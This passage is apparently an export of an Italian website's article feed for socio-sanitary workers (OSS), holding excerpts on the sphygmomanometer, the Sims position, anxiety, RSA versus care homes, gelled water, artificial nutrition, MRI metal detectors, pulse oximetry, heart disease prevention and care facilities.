(Operatore Socio Sanitario), che spesso collaborano al monitoraggio dei parametri vitali. In questo articolo scopriremo insieme cos'è uno sfigmomanometro, come si utilizza correttamente, quali modelli esistono e quali può usare un OSS nella propria attività. Cos'è uno sfigmomanometro Tra gli strumenti più usati nella pratica sanitaria quotidiana c'è lo sfigmomanometro, essenziale per monitorare uno dei parametri vitali più importanti: la pressione arteriosa. Questo dispositivo, il cui nome può sembrare complicato, è in realtà uno strumento semplice e di grande utilità, presente in ogni ospedale, ambulatorio, RSA e persino in molte case. Ma cosa lo rende così indispensabile? In questa sezione scopriremo cosa significa il termine "sfigmomanometro", qual è la sua funzione principale e perché è uno strumento che ogni operatore sanitario, compresi gli OSS, deve conoscere bene. Da dove viene il termine Il nome "sfigmomanometro" deriva dal greco: sphygmos = polso manos = rado, poco denso metron = misuraLetteralmente, significa "misuratore del polso debole", anche se oggi viene usato per indicare la misurazione della pressione arteriosa. A cosa serve lo sfigmomanometro Lo sfigmomanometro serve a misurare la pressione del sangue nelle arterie. È uno strumento diagnostico essenziale per valutare lo stato cardiovascolare di una persona e prevenire problemi gravi come ictus, infarto o ipertensione cronica. Quando è utile usare lo sfigmomanometro Lo sfigmomanometro è utile ogni volta che si rende necessario valutare la pressione arteriosa di una persona, sia in ambito preventivo sia nel monitoraggio di condizioni già note. È particolarmente indicato: Durante controlli di routine: è una delle prime attività svolte durante una visita medica o un ricovero, utile per valutare lo stato generale di salute; In presenza di sintomi sospetti: come mal di testa, vertigini, svenimenti, vista offuscata, dolore al petto o affaticamento anomalo; Nei pazienti ipertesi o ipotesi: monitorare regolarmente aiuta a valutare l'efficacia delle terapie e prevenire complicanze; Prima della somministrazione di alcuni farmaci: soprattutto quelli che possono influenzare la pressione sanguigna, come i diuretici o gli antipertensivi; Dopo sforzi fisici o emozioni intense: in pazienti fragili, per valutare eventuali variazioni improvvise della pressione; Durante il risveglio o il riposo: per confrontare i valori in momenti diversi della giornata e rilevare eventuali fluttuazioni; Nel cambio di postura (supino/seduto/in piedi): utile per individuare episodi di ipotensione ortostatica, frequenti negli anziani o nei pazienti debilitati. Tipi di sfigmomanometro Lo sfigmomanometro non è un unico strumento, ma esiste in diverse varianti, ognuna con caratteristiche, vantaggi e limiti. Alcuni modelli richiedono esperienza e manualità, altri sono pensati per essere semplici e immediati, anche per chi ha poca dimestichezza con la strumentazione... --- > Scopri cos'è la posizione di Sims, quando usarla e come eseguirla. Guida pratica per OSS con esempi reali e indicazioni passo-passo. - Published: 2025-06-06 - Modified: 2025-06-06 - URL: https://ossinreparto.it/posizione-di-sims/ - Categorie: Assistenza alla Persona Scopri cos'è la posizione di Sims, quando usarla e come eseguirla. Guida pratica per OSS con esempi reali e indicazioni passo-passo. Nel lavoro quotidiano dell'Operatore Socio Sanitario (OSS), il corpo della persona assistita racconta una storia fatta di bisogni, fragilità e cura. Ogni movimento, ogni posizione che si aiuta ad assumere non è mai casuale: è un gesto studiato, pensato per migliorare il benessere, prevenire complicanze e facilitare interventi assistenziali. Tra le tante posture utilizzate, la posizione di Sims è spesso poco conosciuta o sottovalutata, eppure riveste un'importanza fondamentale in molte procedure, dalla prevenzione delle piaghe da decubito alla somministrazione di clisteri. Conoscerla a fondo significa essere più preparati, più attenti e più efficaci nel proprio ruolo. Che si tratti di somministrare un clistere, di igiene intima profonda o della gestione di un paziente incosciente ma con respiro autonomo, conoscere quando e come utilizzare la posizione di Sims non è solo una competenza tecnica, ma un atto di cura e rispetto. Questo articolo è pensato per fornire agli OSS una guida chiara, pratica e ricca di esempi reali su questa posizione fondamentale. Origine della posizione di Sims Questa posizione prende il nome da James Marion Sims (1813-1883), un medico statunitense che viene ricordato come uno dei padri fondatori della ginecologia moderna. Sims studiò a fondo le problematiche ginecologiche delle donne e fu uno dei primi a cercare soluzioni chirurgiche per patologie femminili che fino ad allora erano poco comprese o ignorate. Durante le sue ricerche, Sims si rese conto che la posizione in cui si trovava la paziente poteva influire notevolmente sulla riuscita dell'esame o dell'intervento. Così, elaborò una postura specifica che permetteva una migliore visualizzazione e accesso agli organi pelvici: una posizione laterale, con la paziente sdraiata su un fianco, la gamba inferiore estesa e quella superiore piegata. Questa disposizione, oggi conosciuta come posizione di Sims, si rivelò molto utile sia per esami interni, sia per il drenaggio delle secrezioni o l'inserimento di presidi medici come il clistere. Per un Operatore Socio Sanitario è importante conoscere non solo come posizionare correttamente un paziente, ma anche comprendere perché una determinata postura sia stata ideata, quali vantaggi offre, e in quali situazioni cliniche è indicata. La posizione di Sims ne è un chiaro esempio: una scoperta nata da studi medici, che oggi rappresenta uno strumento prezioso anche per l'assistenza quotidiana. Quando utilizzare la posizione di Sims La posizione di Sims è una delle posizioni più versatili e utili nell'assistenza sanitaria. Essa viene impiegata in vari contesti clinici e assistenziali, soprattutto quando è necessario facilitare l'accesso agli organi pelvici, permettere l'esecuzione di determinati trattamenti o gestire situazioni di disagio per il paziente. Conoscere quando e come utilizzarla è fondamentale per ogni Operatore Socio Sanitario, in quanto consente di fornire una cura efficace, ridurre il disagio del paziente e favorire una gestione ottimale di determinate condizioni. Ecco alcuni dei principali contesti in cui la posizione di Sims è particolarmente indicata: Assistenza e comfort dei pazienti allettati La posizione di Sims viene utilizzata in ambito assistenziale per garantire il comfort del paziente allettato. È una posizione che offre una varietà di cambiamenti di postura, permettendo... --- > L'ansia silenziosa invade la vita quotidiana, influenzando sonno, umore e respiro. Scopri una prospettiva psicodinamica per comprenderla meglio. - Published: 2025-06-04 - Modified: 2025-06-04 - URL: https://ossinreparto.it/ansia-analisi-psicodinamica/ - Categorie: Psicologia - Tag: Ansia L'ansia silenziosa invade la vita quotidiana, influenzando sonno, umore e respiro. Scopri una prospettiva psicodinamica per comprenderla meglio. L'ansia è una delle esperienze psicologiche più comuni, ma anche tra le più complesse da comprendere. Non si manifesta sempre con crisi evidenti o episodi acuti. Più spesso, si insinua lentamente nel quotidiano, alterando il respiro, la qualità del sonno, la digestione, il tono dell'umore. È una presenza silenziosa che logora, confonde e rende più difficile persino compiere gesti semplici. In ambito sociosanitario, è frequente incontrare persone che convivono da anni con una forma di ansia cronica. Non sempre sono consapevoli di cosa stanno vivendo: parlano di stress, di agitazione, di un costante senso di allarme o affaticamento. A volte si sono già rivolti a specialisti, altre volte invece si sono abituati a considerare il malessere come una parte inevitabile della propria vita. Da un punto di vista psicodinamico, l'ansia non è un semplice disturbo, ma un segnale. È la manifestazione visibile di un conflitto profondo, spesso inconscio, tra bisogni diversi, tra spinte interne contrapposte, o tra desideri e divieti. L'ansia può essere la voce del nostro Sé più autentico, che non riesce a trovare uno spazio per esprimersi. Spesso, emozioni come la rabbia, la paura o la vergogna vengono represse o censurate perché vissute come pericolose, inaccettabili o non degne di ascolto. Ma ciò che non può essere detto, finisce per essere somatizzato o vissuto sotto forma di disagio generalizzato. L'ansia diventa così un contenitore di tutto ciò che non trova parola. In questo approfondimento psicodinamico sull'ansia e il panico, descrivo come questi vissuti possano rappresentare molto più di una reazione emotiva e vadano compresi all'interno di un percorso di ascolto, riflessione e cura. È fondamentale ricordare che l'ansia non è un nemico da eliminare, ma un messaggio da decifrare. Solo attraverso un accompagnamento terapeutico può emergere il senso più profondo del sintomo, restituendo significato a ciò che inizialmente sembrava solo paura o confusione. Per chi desidera approfondire il tema in modo più ampio, rimando a questa pagina dedicata ai disturbi d'ansia e al loro trattamento psicologico, dove vengono presentate le principali forme dell'ansia e i diversi approcci terapeutici, con uno spazio specifico riservato alla visione psicodinamica. In una società che spinge costantemente verso la prestazione, il controllo e l'adattamento, l'ansia può rappresentare una ribellione del corpo e della psiche contro modelli rigidi o identità imposte. È una chiamata a ritrovare il contatto con sé, a riconoscere il diritto di sentire e la possibilità di essere accompagnati in un percorso di autenticità. La psicoterapia può offrire quello spazio di sospensione, accoglienza e rielaborazione che permette all'ansia di trasformarsi da sintomo paralizzante a via di accesso al mondo interno. È proprio lì, in quell'incontro profondo tra terapeuta e paziente, che l'ansia può smettere di essere solo sofferenza per diventare narrazione, senso e possibilità. --- > Differenza tra RSA e casa di riposo, con focus sul ruolo degli OSS nell'assistenza agli anziani e nelle strutture residenziali. - Published: 2025-04-27 - Modified: 2025-04-27 - URL: https://ossinreparto.it/differenza-tra-rsa-e-casa-di-riposo/ - Categorie: Organizzazione Socio-Sanitaria Differenza tra RSA e casa di riposo, con focus sul ruolo degli OSS nell'assistenza agli anziani e nelle strutture residenziali. Quando si parla di RSA e casa di riposo, spesso si fa confusione. Entrambe le strutture accolgono persone anziane, ma hanno finalità, organizzazioni e livelli di assistenza molto differenti. Capire qual'è la differenza tra RSA e casa di riposo è fondamentale per chi deve scegliere la soluzione più adatta per un familiare non più autosufficiente, ed è altrettanto importante per chi, come un OSS, si appresta a intraprendere un’esperienza lavorativa in queste strutture. Cosa sono le RSA e le case di riposo In Italia, il progressivo invecchiamento della popolazione rende sempre più attuale il tema dell’assistenza agli anziani. Le famiglie si trovano di fronte a scelte complesse, che coinvolgono non solo la salute dell’anziano ma anche aspetti emotivi, economici e logistici. In questo articolo esploreremo cosa distingue una casa di riposo da una Residenza Sanitaria Assistenziale (RSA), quali servizi offrono, e quale ruolo ha l'operatore socio-sanitario (OSS) in ciascun contesto. Definizione e funzione delle RSA La RSA, ovvero Residenza Sanitaria Assistenziale, è una struttura a carattere residenziale destinata ad accogliere persone non autosufficienti, in particolare anziani, che non possono essere assistiti in modo adeguato al proprio domicilio. In queste strutture, gli ospiti risiedono stabilmente e ricevono assistenza sanitaria, infermieristica e socio-assistenziale continuativa, 24 ore su 24. Le RSA non sono strutture semiresidenziali, come i centri diurni, né non residenziali come l’assistenza domiciliare, ma luoghi pensati per garantire un ambiente protetto, con cure continuative e personalizzate. Sono destinate principalmente a soggetti con gravi disabilità fisiche o cognitive, patologie croniche o degenerative, che necessitano di interventi sanitari e riabilitativi di lunga durata. Ogni ospite ha un piano assistenziale individualizzato (PAI), elaborato da un'équipe multidisciplinare composta da medici, infermieri, fisioterapisti, psicologi e OSS. Questo piano viene aggiornato periodicamente in base alle condizioni dell’anziano. Le RSA possono essere pubbliche, private o convenzionate con il Servizio Sanitario Nazionale. Definizione e funzione delle case di riposo La Casa di Riposo è una struttura socio-assistenziale a carattere residenziale, destinata ad accogliere persone anziane parzialmente autosufficienti o non autosufficienti, che non necessitano di cure sanitarie complesse ma che, per motivi sociali, familiari o personali, non possono più vivere in autonomia nella propria abitazione. Queste strutture offrono assistenza alla persona, supporto nella gestione della vita quotidiana, attività ricreative e, in alcuni casi, una minima assistenza sanitaria di base. L’obiettivo è garantire un ambiente protetto, stimolante e dignitoso, in cui l’anziano possa mantenere il più possibile la propria autonomia residua. Non vi è obbligo di presenza medica fissa, anche se spesso vi è la disponibilità di un medico di base o di una figura infermieristica per bisogni occasionali. Le case di riposo rappresentano una soluzione adatta per chi si sente solo, ha difficoltà nella gestione domestica o desidera un contesto comunitario. Casa di riposo vs RSA: una distinzione essenziale per l'OSS Di seguito vi proponiamo un riassunto, pur utilizzando le stesse parole, delle differenze tra RSA e Case di Riposo, con l'intento di chiarire e fissare i concetti fondamentali. Questi concetti sono molto importanti per chi desidera approcciarsi per la prima volta a queste strutture. Casa di riposo Carattere: È una struttura residenziale che offre assistenza principalmente... --- > Cos'è l'acqua gelificata, come funziona per migliorare l'idratazione nei pazienti con difficoltà di deglutizione e a quanta acqua corrisponde nella sua forma gel. - Published: 2025-04-23 - Modified: 2025-04-23 - URL: https://ossinreparto.it/acqua-gelificata-a-cosa-serve/ - Categorie: Assistenza alla Persona - Tag: Guide OSS L’acqua gelificata è una forma sicura di idratazione per chi ha difficoltà a deglutire, fornendo la stessa quantità d’acqua di quella liquida, ma con maggiore controllo. L’acqua gelificata è una risorsa fondamentale in ambito sanitario, soprattutto quando bere un semplice bicchiere d’acqua può diventare complicato. Questo accade spesso in persone anziane, in pazienti con disfagia o in fase post-operatoria. In questi casi, l’acqua in forma di gel rappresenta una soluzione efficace per garantire un’idratazione sicura, riducendo il rischio di soffocamento o aspirazione. Quando si parla di acqua gelificata, si fa riferimento a un supporto prezioso per tutte quelle situazioni in cui deglutire liquidi può rappresentare un pericolo. Grazie alla sua consistenza densa, questo tipo di acqua consente di bere in modo più controllato e sereno. È uno strumento importante anche per gli Operatori Socio-Sanitari (OSS), che ogni giorno assistono persone fragili e devono trovare soluzioni pratiche per garantire il benessere dei pazienti. Molti si chiedono a quanta acqua corrisponde l'acqua gelificata, ma per rispondere a questa domanda bisogna fare qualche precisazione. Ne parleremo meglio più avanti nell’articolo, per capire bene cos'è l'acqua gelificata, a cosa serve, come si usa, come funziona e quanto può essere utile davvero nel mantenere una corretta idratazione. Che cos’è e a cosa serve l’acqua gelificata? L'acqua gelificata è una forma di acqua che è stata modificata mediante l'uso di agenti gelificanti, come la gelatina o altre sostanze naturali, per trasformarsi in un gel. Questo processo rende l'acqua densa e viscosa, ma mantiene comunque molte delle sue proprietà fisiche, come la capacità di essere facilmente ingoiata. L'acqua gelificata è principalmente impiegata per garantire una corretta idratazione a pazienti con difficoltà nella deglutizione (disfagia), riducendo il rischio di aspirazione polmonare e migliorando la sicurezza durante il consumo. Grazie alla sua consistenza gelatinosa, risulta più facile da ingerire rispetto al liquido, favorendo un controllo maggiore nella deglutizione. Inoltre, viene utilizzata anche per somministrare farmaci in modo più preciso e sicuro, aumentando l'aderenza alla terapia idratante e riducendo il rischio di soffocamento. Acqua gelificata per anziani e non solo L'acqua gelificata rappresenta una soluzione innovativa e sicura per affrontare le difficoltà di deglutizione, un problema che coinvolge molte persone in situazioni delicate. È indicata principalmente per pazienti con disfagia, che può essere causata da malattie neurologiche come ictus, Parkinson e Alzheimer, condizioni che compromettono la capacità di deglutire in modo efficace. In particolare, gli anziani, spesso soggetti a difficoltà di deglutizione legate all'età, possono trarre grande beneficio dall'acqua gelificata, che consente loro di mantenere una corretta idratazione senza il rischio di soffocamento. Anche i pazienti oncologici, che affrontano trattamenti chemioterapici o radioterapici, possono utilizzare questa forma di acqua per migliorare la loro qualità di vita durante il trattamento, riducendo il rischio di complicazioni legate alla deglutizione. Inoltre, l'acqua gelificata è molto utile anche per i soggetti in fase post-operatoria, che necessitano di una gestione sicura dell'idratazione, e per le persone con disturbi cognitivi che potrebbero avere difficoltà nell'uso di liquidi tradizionali. Le tipologie disponibili sul mercato Esistono diverse tipologie di acqua gelificata per uso medico, ciascuna progettata per rispondere a specifiche esigenze terapeutiche e nutrizionali. Le principali categorie includono: Acqua gelificata standard: Utilizzata principalmente per... --- > Scopri il ruolo dell’OSS nella nutrizione artificiale: assistenza, monitoraggio e igiene, con indicazioni pratiche su cosa può fare e i limiti operativi in ambito enterale e parenterale. - Published: 2025-04-16 - Modified: 2025-04-16 - URL: https://ossinreparto.it/nutrizione-artificiale-parenterale-enterale/ - Categorie: Assistenza alla Persona - Tag: Guide OSS L’OSS supporta la nutrizione artificiale monitorando il paziente, curando l’igiene e collaborando con l’infermiere, rispettando i limiti delle proprie competenze per garantire sicurezza e benessere. La nutrizione artificiale è una pratica fondamentale per garantire il fabbisogno nutrizionale dei pazienti che non possono alimentarsi autonomamente. Gli OSS, pur non essendo responsabili della gestione medica della nutrizione artificiale, svolgono un ruolo essenziale nel supporto e nel monitoraggio quotidiano. In questo articolo, vedremo cosa può e non può fare un OSS nella nutrizione enterale e parenterale, con consigli pratici per garantire il benessere del paziente. Nutrizione artificiale: concetti base per OSS Abbiamo già trattato in un articolo dedicato la definizione di nutrizione artificiale, ma riprenderemo brevemente i concetti principali. Cos’è la nutrizione artificiale? È un modo per fornire nutrienti (acqua, sali minerali, proteine, carboidrati e grassi) a una persona che non può alimentarsi da sola in modo adeguato o sicuro, sia temporaneamente che a lungo termine. La nutrizione artificiale si divide in due tipologie: Nutrizione enterale (NE) Come funziona: i nutrienti vengono somministrati direttamente nello stomaco o nell’intestino tramite un sondino. Quando si usa: se il tratto digerente funziona, ma la persona non può deglutire (es. ictus, demenza, tumori della gola). Vie di somministrazione: Sondino naso-gastrico (a breve termine) PEG (gastrostomia endoscopica percutanea): tubo inserito nello stomaco tramite la parete addominale (per periodi lunghi) Nutrizione parenterale (NP) Come funziona: i nutrienti vengono somministrati direttamente nel sangue tramite una vena. Quando si usa: se l’intestino non funziona (es. occlusioni intestinali, malassorbimento grave). Accessi venosi: CVC (catetere venoso centrale): inserito in una grande vena (per NP a lungo termine) Cosa può fare l'OSS nella nutrizione enterale L’OSS non somministra la nutrizione enterale: questo atto è di competenza esclusiva dell’infermiere. Tuttavia, il suo contributo nella gestione quotidiana del paziente con nutrizione enterale è fondamentale e comprende diverse attività: Monitoraggio e osservazione Segnalazione tempestiva di segni e sintomi di intolleranza alla nutrizione (nausea, vomito, diarrea, distensione addominale); Controllo dell’integrità della cute attorno al punto di inserzione (es. stomia della PEG), segnalando arrossamenti, secrezioni o segni di infezione; Attenzione alla postura del paziente: favorire la posizione semi-seduta durante e dopo la nutrizione per almeno 30-60 minuti, per ridurre il rischio di reflusso e broncoaspirazione. Igiene e cura del presidio Pulizia della cute peristomale e dell’esterno del sondino con materiale sterile o secondo le indicazioni infermieristiche; Collaborazione nell’effettuazione di medicazioni semplici, senza manipolare il sondino, in accordo con le direttive infermieristiche. Supporto nella preparazione dell’ambiente Predisporre il materiale necessario alla somministrazione, in ambiente igienico e sicuro; Controllare che la nutrizione sia correttamente etichettata, integra e non scaduta (senza somministrarla). Assistenza al comfort e alla sicurezza del paziente Verifica della corretta postura, mobilizzazione del paziente nel letto se necessario, attenzione alla dignità e al comfort; Collaborazione nella prevenzione delle complicanze da allettamento (es. piaghe da decubito), che possono aggravarsi in pazienti sottoposti a nutrizione enterale. Il lavoro di squadra con l’infermiere Il lavoro dell’OSS nella nutrizione enterale si inserisce perfettamente nella logica dell’assistenza integrata: l’OSS assicura un monitoraggio costante, una cura attenta del paziente e una comunicazione efficace con l’infermiere. In questo modo, è possibile prevenire complicanze, migliorare l’efficacia del trattamento e umanizzare l’assistenza, anche in situazioni delicate. L'igiene della stomia e il ruolo dell'OSS: procedure e limiti operativi L’Operatore Socio Sanitario... --- > Scopri come metal detector e palmari proteggono pazienti e operatori in risonanza magnetica. Sicurezza e tecnologia a confronto. - Published: 2025-04-03 - Modified: 2025-04-03 - URL: https://ossinreparto.it/sicurezza-in-risonanza-magnetica-metal-detector-e-palmari/ - Categorie: Sicurezza Sanitaria L'uso di metal detector e palmari nelle sale RM garantisce sicurezza, prevenendo incidenti da oggetti metallici e ottimizzando il flusso di lavoro ospedaliero. La sicurezza negli ambienti sanitari è una priorità assoluta, specialmente in aree ad alta tecnologia come le sale di risonanza magnetica (RM). Qui, la presenza di oggetti metallici può costituire un grave pericolo per pazienti e operatori. Per questo motivo, l’uso di metal detector e dispositivi palmari rappresenta una soluzione fondamentale per prevenire incidenti e garantire un ambiente sicuro. In questo articolo, esploreremo il ruolo di questi strumenti, la loro importanza e il modo in cui gli operatori socio-sanitari (OSS) e i tecnici di radiologia possono utilizzarli efficacemente. Il ruolo del metal detector nella risonanza magnetica Questi dispositivi sono essenziali per garantire la sicurezza sia dei pazienti che degli operatori, in quanto rilevano oggetti metallici che potrebbero essere pericolosi in presenza del potente campo magnetico. La risonanza magnetica utilizza un campo magnetico molto potente, in grado di attrarre oggetti metallici con grande forza, trasformandoli in veri e propri proiettili. Questo può causare gravi danni a persone e apparecchiature. Per evitare questi rischi, è essenziale un controllo rigoroso prima dell’ingresso nella sala RM. Come funziona un metal detector in ospedale I metal detector utilizzati negli ospedali sono progettati per individuare anche i più piccoli oggetti metallici, come monete, chiavi o dispositivi impiantati non compatibili con la RM. Essi funzionano in modi diversi: Metal Detector fissi: questi dispositivi sono installati all'ingresso delle sale di risonanza magnetica. I metal detector fissi sono progettati per scansionare rapidamente e in modo non invasivo persone e oggetti al passaggio. Possono essere impostati per rilevare oggetti di dimensioni variabili, da piccoli accessori metallici come monete o chiavi, fino a oggetti più grandi, come protesi non compatibili con la risonanza. Questi dispositivi sono generalmente costituiti da un'area di scansione composta da una cornice metallica che emette un campo magnetico. Quando un oggetto metallico entra nel campo, il metal detector lo rileva attraverso variazioni nel campo stesso, emettendo un allarme visivo o acustico; Palmari metal detector: i palmari sono dispositivi portatili, compatti e facilmente manovrabili dal personale sanitario. Questi strumenti sono particolarmente utili per effettuare controlli rapidi su pazienti, operatori o su singole aree del corpo che potrebbero essere sfuggite alla scansione generale con il metal detector fisso. Questi dispositivi sono progettati per essere leggeri e facili da usare. Sono dotati di una sonda che emette un segnale quando rileva un oggetto metallico. Possono variare in dimensioni, ma generalmente sono abbastanza piccoli da essere tenuti in mano e passati sopra il corpo o sugli indumenti del paziente, senza causare alcun fastidio. Alcuni modelli possono anche avere schermi digitali che mostrano informazioni sulla posizione del metallo rilevato; Scanner a mano con rilevamento multifunzione: alcuni ospedali utilizzano scanner manuali avanzati che combinano tecnologie di metal detector con altri strumenti, come sensori a infrarossi o radar a onde millimetriche, per una rilevazione ancora più precisa e versatile.  Questi scanner sono dotati di più sensori che permettono di identificare oggetti metallici con maggiore accuratezza, anche sotto i vestiti. Spesso sono progettati con manici ergonomici per un uso prolungato senza affaticare il personale, e... --- > Scopri come funziona il pulsossimetro e perché è essenziale per monitorare la SpO2 e la salute respiratoria. - Published: 2025-04-01 - Modified: 2025-04-10 - URL: https://ossinreparto.it/pulsossimetro-cos-e-come-funziona/ - Categorie: Assistenza alla Persona - Tag: Guide OSS, Lavorare come OSS Scopri come funziona il pulsossimetro e perché è essenziale per monitorare la SpO2 e la salute respiratoria. Il pulsossimetro è uno strumento essenziale per monitorare la salute respiratoria e la saturazione di ossigeno (SpO2) in modo rapido e non invasivo, utile sia in ambito pubblico che domiciliare. Semplice da usare, consente di individuare tempestivamente problemi respiratori e circolatori. Per gli OSS, è un supporto prezioso nell'assistenza di pazienti con patologie respiratorie o cardiovascolari. In questa guida, vedremo cos'è il pulsossimetro, come funziona, il suo ruolo nelle procedure OSS e i suoi limiti per un utilizzo corretto. Cos'è il pulsossimetro? Il pulsossimetro è un dispositivo medico non invasivo che permette di monitorare la saturazione di ossigeno nel sangue (SpO2) e la frequenza cardiaca. Grazie a questa tecnologia, è possibile avere una misurazione rapida e precisa senza dover eseguire esami invasivi come prelievi di sangue. Com’è fatto un pulsossimetro? Il pulsossimetro è un dispositivo compatto e portatile, progettato per essere facile da usare e trasportare. Vediamo più nel dettaglio com'è fatto e come funziona. Componenti principali Sensore a LEDIl pulsossimetro è dotato di un piccolo sensore con luci LED (di solito una luce rossa e una infrarossa). Queste luci attraversano il dito del paziente (o, in alternativa, il lobo dell'orecchio) e misurano la quantità di luce assorbita dal sangue. La luce rossa e la luce infrarossa vengono assorbite diversamente dall'emoglobina ossigenata e da quella non ossigenata, consentendo così di calcolare la percentuale di ossigeno nel sangue; FotodetettoreUn fotodetettore posizionato sul lato opposto del sensore rileva la quantità di luce che attraversa il dito. Questa misurazione, combinata con l’analisi della frequenza pulsante, permette di calcolare il livello di saturazione di ossigeno (SpO2); Display digitaleLa maggior parte dei pulsossimetri è dotata di un display digitale che mostra i risultati della misurazione. Sullo schermo vengono visualizzati i valori della SpO2 e della frequenza cardiaca in tempo reale, permettendo all'operatore di verificare immediatamente i dati; Struttura a pinzaIl dispositivo è spesso progettato come una pinza, che si apre e si chiude facilmente per adattarsi al dito. Questo design permette una presa sicura e stabile, evitando movimenti che potrebbero influenzare la lettura; Alimentazione a batteriaI pulsossimetri portatili sono generalmente alimentati a batteria, il che li rende ideali per l’uso domiciliare e per il trasporto. Alcuni modelli sono ricaricabili, mentre altri utilizzano batterie usa e getta. Perché è importante misurare la SpO2? Misurare la saturazione dell'ossigeno nel sangue è fondamentale per valutare la salute respiratoria e circolatoria, poiché assicura che tessuti e organi ricevano l'ossigeno necessario per funzionare bene. Un monitoraggio regolare consente di individuare rapidamente eventuali problemi e di fornire assistenza tempestiva, supportando trattamenti in molte condizioni cliniche. Benefici e importanza della misurazione della SpO2 Valutazione della salute respiratoriaLa saturazione dell'ossigeno è un indicatore chiave per la salute polmonare. Livelli normali di SpO2 indicano che i polmoni stanno fornendo abbastanza ossigeno al sangue, mentre livelli inferiori possono segnalare problemi respiratori come broncopneumopatia cronica ostruttiva (BPCO), asma, o infezioni polmonari; Rilevamento precoce dell'ipossiaL’ipossia è una condizione in cui i tessuti non ricevono sufficiente ossigeno, e può verificarsi per molte ragioni, come insufficienza respiratoria, anemia grave,... --- - Published: 2025-03-26 - Modified: 2025-03-26 - URL: https://ossinreparto.it/come-prevenire-le-patologie-cardiache/ - Categorie: Prevenzione e stili di vita Mangia sano, fai attività fisica e controlli regolari: prevenire le malattie cardiache è il segreto per vivere meglio e più a lungo. La prevenzione gioca un ruolo cruciale quando si parla di salute del cuore, specialmente considerando che le patologie cardiovascolari rappresentano una delle principali cause di mortalità e disabilità a livello globale. Troppo spesso si tende a sottovalutare l'importanza di prendersi cura del proprio organismo in modo costante, aspettando di intervenire soltanto dopo la comparsa di sintomi evidenti o quando si verificano episodi gravi. Tuttavia, agire preventivamente significa non solo evitare conseguenze potenzialmente irreversibili, ma anche assicurarsi una vita più sana e longeva. È quindi essenziale sensibilizzare le persone sull'importanza di adottare buone abitudini sin dalla giovane età, perché la salute del cuore si costruisce giorno dopo giorno, fin dalle prime fasi della vita. Infatti, è soprattutto durante la giovinezza che si pongono le basi per un futuro sano, consolidando abitudini positive che aiuteranno a contrastare possibili disturbi cardiovascolari negli anni successivi. Dunque, prevenire le patologie cardiache è un investimento prezioso che ciascuno può fare per se stesso e per le persone che ama, assicurandosi una migliore qualità di vita nel tempo. Alimentazione e stile di vita: le basi per un cuore sano Un’alimentazione equilibrata gioca un ruolo chiave nella prevenzione delle patologie cardiovascolari. Preferire alimenti ricchi di fibre, come frutta, verdura e cereali integrali, aiuta a mantenere bassi i livelli di colesterolo nel sangue. Il consumo moderato di grassi sani, presenti in alimenti come l’olio d’oliva, il pesce e la frutta secca, contribuisce a migliorare la salute del sistema circolatorio, mentre l’eccesso di grassi saturi e zuccheri raffinati può favorire l’accumulo di placche nelle arterie. Oltre alla dieta, è fondamentale praticare regolarmente attività fisica. Anche una semplice camminata quotidiana aiuta a mantenere sotto controllo il peso corporeo, a migliorare la circolazione sanguigna e a ridurre la pressione arteriosa. L’esercizio fisico stimola inoltre il metabolismo e contribuisce a mantenere un equilibrio ormonale favorevole alla salute cardiovascolare. Un altro aspetto cruciale è la gestione dello stress. Ansia e tensione costante possono influenzare negativamente il sistema cardiocircolatorio, aumentando la pressione sanguigna e il rischio di aritmie. Tecniche di rilassamento, come la meditazione e lo yoga, possono aiutare a ridurre lo stress e migliorare il benessere generale. L'importanza dei controlli periodici Monitorare costantemente la propria salute cardiaca attraverso controlli medici regolari è un’abitudine essenziale. La misurazione della pressione arteriosa, il controllo dei livelli di colesterolo e glicemia e la valutazione della funzionalità cardiaca permettono di identificare eventuali anomalie prima che si trasformino in problemi più gravi. Inoltre, per chi ha una predisposizione familiare alle malattie cardiovascolari, è consigliabile sottoporsi a esami più approfonditi per valutare il rischio individuale. Anche l’adozione di uno stile di vita privo di fumo e il consumo moderato di alcol rappresentano misure efficaci per preservare la salute del cuore. Il fumo danneggia le pareti arteriose e accelera il processo di aterosclerosi, aumentando il rischio di eventi cardiovascolari. Le malattie cardiovascolari più comuni Tra le patologie cardiovascolari più diffuse, l’infarto miocardico rappresenta una delle principali emergenze mediche. Questa condizione si verifica quando un'arteria coronaria si ostruisce completamente a causa della formazione... --- > Scopri le principali strutture sanitarie e sociali per anziani, disabili e persone fragili, con servizi di assistenza e supporto personalizzato. - Published: 2025-02-26 - Modified: 2025-02-26 - URL: https://ossinreparto.it/principali-strutture-socio-sanitarie-sociali/ - Categorie: Organizzazione Socio-Sanitaria - Tag: Lavorare come OSS, Residenze per Anziani Strutture sanitarie e assistenziali: scopri i servizi per anziani, disabili e malati terminali. Un supporto fondamentale per il benessere e l'autonomia. Le principali strutture sanitarie, sociali e socio-sanitarie rappresentano pilastri fondamentali nel nostro sistema di welfare. Offrono assistenza personalizzata a diverse categorie di persone: anziani, disabili e malati terminali. Capire la loro funzione e organizzazione è essenziale sia per chi cerca supporto sia per chi lavora nel settore assistenziale. In questo articolo esploreremo i principali tipi di strutture, il loro scopo e come possono migliorare la qualità della vita delle persone. Strutture assistenziali: al fianco di anziani e disabili Le strutture di assistenza per persone fragili svolgono un ruolo importante nel supportare individui che necessitano di cure specifiche, che siano anziani, disabili o con altre condizioni che limitano l’autonomia. Queste strutture sono progettate per offrire un ambiente sicuro, accogliente e supportivo, dove la qualità della vita delle persone può essere migliorata attraverso servizi sanitari, sociali e riabilitativi. Le diverse tipologie di strutture rispondono a esigenze particolari e offrono soluzioni per chi necessita di un supporto continuo, ma anche per chi vuole mantenere un certo grado di indipendenza. Ogni struttura è pensata per adattarsi ai bisogni dei singoli, promuovendo l’autonomia, la socializzazione e l’inclusione. Ecco un elenco delle principali strutture di assistenza per persone fragili, che offrono diversi livelli di supporto a seconda delle necessità: Centro diurno per anziani: supporta gli anziani che necessitano di attività assistite durante il giorno; Centro diurno integrato (CDI): offre un supporto più completo, combinando assistenza sanitaria e attività sociali; RSA (Residenze Sanitarie Assistenziali): strutture residenziali per anziani non autosufficienti, che necessitano di assistenza continua; Nuclei Alzheimer: reparti specializzati nella cura di persone affette da Alzheimer e altre forme di demenza; Case albergo per anziani: soluzioni abitative per anziani autosufficienti che cercano un ambiente protetto; Alloggi protetti: abitazioni sicure per persone che, pur necessitando di assistenza, desiderano vivere in modo semi-autonomo; Centro diurno per disabili: offre attività educative e di socializzazione per persone con disabilità, migliorando l’integrazione sociale; RSD (Residenze Sanitarie per Disabili): residenze per disabili gravi con assistenza sanitaria continuativa; CSE (Centri Socio-Educativi): centri che promuovono la crescita sociale e 